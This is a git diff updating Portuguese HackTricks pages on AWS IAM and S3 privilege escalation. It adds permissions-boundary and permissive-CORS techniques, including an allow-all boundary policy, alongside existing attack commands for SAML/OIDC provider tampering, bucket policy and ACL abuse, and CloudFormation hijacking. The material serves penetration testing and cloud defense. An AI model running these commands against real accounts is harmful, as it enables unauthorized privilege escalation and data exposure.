|
||||
Observe que ao fazer isso **usuários legítimos não poderão fazer login**. No entanto, você pode obter o XML, substituir pelo seu, fazer login e restaurar a configuração anterior.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Ferramenta capaz de gerar os metadados SAML e efetuar login com uma role especificada
|
||||
> TODO: Uma ferramenta capaz de gerar os metadados SAML e efetuar login com uma role especificada
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Não tenho certeza sobre isso) Se um atacante tiver essas **permissões**, ele poderia adicionar um novo **Thumbprint** para conseguir efetuar login em todas as roles que confiam no provedor.
|
||||
(Não tenho certeza sobre isso) Se um atacante tiver essas **permissões** ele poderia adicionar um novo **Thumbprint** para conseguir efetuar login em todas as roles que confiam no provedor.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Essa permissão permite que um atacante atualize o permissions boundary de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
|
||||
Esta permissão permite que um atacante atualize o limite de permissões de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
|
||||
|
||||
Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
|
||||
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BoundaryAllowAll",
|
||||
"Effect": "Allow",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em um role existente. O risco surge quando alguém com essa permissão altera o boundary do role: ele pode restringir operações de forma imprópria (causando interrupção de serviço) ou, se anexar um boundary permissivo, efetivamente ampliar o que o role pode fazer e escalar privilégios.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
Um atacante com essas permissões sobre buckets interessantes pode conseguir sequestrar recursos e escalar privilégios.
|
||||
Um atacante com essas permissões sobre buckets interessantes pode ser capaz de sequestrar recursos e escalar privilégios.
|
||||
|
||||
Por exemplo, um atacante com essas **permissões sobre um cloudformation bucket** chamado "cf-templates-nohnwfax6a6i-us-east-1" será capaz de sequestrar a implantação. O acesso pode ser concedido com a seguinte política:
|
||||
Por exemplo, um atacante com essas **permissões sobre um bucket cloudformation** chamado "cf-templates-nohnwfax6a6i-us-east-1" será capaz de sequestrar a implantação. O acesso pode ser dado com a seguinte política:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,28 +34,28 @@ Por exemplo, um atacante com essas **permissões sobre um cloudformation bucket*
|
||||
]
|
||||
}
|
||||
```
|
||||
E o hijack é possível porque existe uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que será **acionada quando uma bucket notification for enviada**, e **sequestra** o **conteúdo** daquele **bucket**.
|
||||
E o hijack é possível porque existe uma **pequena janela de tempo desde o momento em que o template é enviado** para o bucket até o momento em que o **template é implantado**. Um atacante pode simplesmente criar uma **lambda function** em sua conta que **dispara quando uma notification do bucket é enviada**, e **hijacks** o **conteúdo** desse **bucket**.
|
||||
|
||||
.png>)
|
||||
|
||||
O módulo Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) pode ser usado para automatizar esse ataque.\
|
||||
Para mais informações consulte a pesquisa original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
Para mais informações ver a pesquisa original: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
Estas são as permissões para **obter e enviar objetos para S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para guardar **config files**.\
|
||||
Um atacante com **read access** a eles pode encontrar **informação sensível** neles.\
|
||||
Um atacante com **write access** a eles poderia **modificar os dados para abusar de algum serviço e tentar escalar privilégios**.\
|
||||
Estas são as permissões para **baixar e enviar objetos para o S3**. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para guardar **arquivos de configuração**.\
|
||||
Um atacante com **acesso de leitura** a eles pode encontrar **informações sensíveis** nesses arquivos.\
|
||||
Um atacante com **acesso de escrita** pode **modificar os dados para abusar algum serviço e tentar escalar privilégios**.\
|
||||
Estes são alguns exemplos:
|
||||
|
||||
- Se uma instância EC2 estiver armazenando os **user data em um S3 bucket**, um atacante poderia modificá-los para **executar código arbitrário dentro da instância EC2**.
|
||||
- Se uma instância EC2 estiver armazenando o **user data em um bucket S3**, um atacante poderia modificá-lo para **executar código arbitrário dentro da instância EC2**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
É muito comum que os arquivos de state do [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) sejam salvos no blob storage dos provedores de cloud, p.ex. AWS S3. O sufixo de arquivo para um state file é `.tfstate`, e os nomes dos buckets muitas vezes também denunciam que contêm terraform state files. Normalmente, toda conta AWS tem um bucket desse tipo para armazenar os state files que mostram o estado da conta.
|
||||
Também é comum, em contas do mundo real, que quase sempre todos os developers tenham `s3:*` e às vezes até business users tenham `s3:Put*`.
|
||||
É muito comum que os arquivos de estado do [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) sejam salvos no blob storage dos provedores de cloud, p.ex. AWS S3. O sufixo do arquivo de estado é `.tfstate`, e os nomes dos buckets frequentemente também indicam que contêm arquivos de estado do terraform. Normalmente, toda conta AWS tem um bucket desses para armazenar os arquivos de estado que mostram o estado da conta.
|
||||
Além disso, no mundo real quase sempre todos os desenvolvedores têm `s3:*` e às vezes até usuários de negócio têm `s3:Put*`.
|
||||
|
||||
Então, se você tem as permissões listadas sobre esses arquivos, existe um vetor de ataque que permite obter RCE no pipeline com os privilégios do `terraform` — na maioria das vezes `AdministratorAccess`, tornando você o admin da conta cloud. Além disso, você pode usar esse vetor para causar um ataque de denial of service fazendo o `terraform` deletar recursos legítimos.
|
||||
Portanto, se você tem as permissões listadas sobre esses arquivos, existe um vetor de ataque que permite obter RCE no pipeline com os privilégios do `terraform` - na maioria das vezes `AdministratorAccess`, tornando você administrador da conta cloud. Além disso, você pode usar esse vetor para realizar um ataque de negação de serviço fazendo o `terraform` deletar recursos legítimos.
|
||||
|
||||
Siga a descrição na seção *Abusing Terraform State Files* da página *Terraform Security* para código de exploit diretamente utilizável:
|
||||
|
||||
@@ -65,7 +65,7 @@ Siga a descrição na seção *Abusing Terraform State Files* da página *Terraf
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
Um atacante, que precisa ser **da mesma conta** — caso contrário o erro `The specified method is not allowed` será acionado — com essa permissão poderá se conceder mais permissões sobre o(s) bucket(s), permitindo ler, escrever, modificar, deletar e expor buckets.
|
||||
Um atacante, que precisa ser **da mesma conta**, caso contrário o erro `The specified method is not allowed will trigger`, com essa permissão poderá se conceder mais permissões sobre o(s) bucket(s) permitindo que ele leia, escreva, modifique, delete e exponha buckets.
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
Um atacante poderia abusar dessas permissões para **conceder a si mesmo mais acesso** sobre buckets específicos.\
|
||||
Observe que o atacante não precisa pertencer à mesma conta. Além disso, o write access
|
||||
Um attacker poderia abusar dessas permissões para **conceder a si mais acesso** sobre buckets específicos.\
|
||||
Observe que o attacker não precisa ser da mesma conta. Além disso, o write access
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
Um atacante poderia abusar dessas permissões para conceder a si mesmo maior acesso a objetos específicos dentro de buckets.
|
||||
Um atacante poderia abusar dessas permissões para conceder a si mesmo mais acesso a objetos específicos dentro de buckets.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -178,9 +178,29 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
Um atacante com esses privilégios deve ser capaz de colocar um Acl em uma versão específica do objeto
|
||||
Um atacante com esses privilégios deve ser capaz de aplicar um Acl a uma versão específica do objeto
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
Um atacante com a permissão s3:PutBucketCORS pode modificar a configuração CORS (Cross-Origin Resource Sharing) de um bucket, que controla quais domínios web podem acessar seus endpoints. Se definir uma política permissiva, qualquer site poderia fazer requisições diretas ao bucket e ler as respostas a partir de um navegador.
|
||||
|
||||
Isso significa que, potencialmente, se um usuário autenticado de um web app hospedado no bucket visitar o site do atacante, o atacante poderia explorar a política CORS permissiva e, dependendo da aplicação, acessar os dados de perfil do usuário ou até assumir a conta do usuário.
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--cors-configuration '{
|
||||
"CORSRules": [
|
||||
{
|
||||
"AllowedOrigins": ["*"],
|
||||
"AllowedMethods": ["GET", "PUT", "POST"],
|
||||
"AllowedHeaders": ["*"],
|
||||
"ExposeHeaders": ["x-amz-request-id"],
|
||||
"MaxAgeSeconds": 3000
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user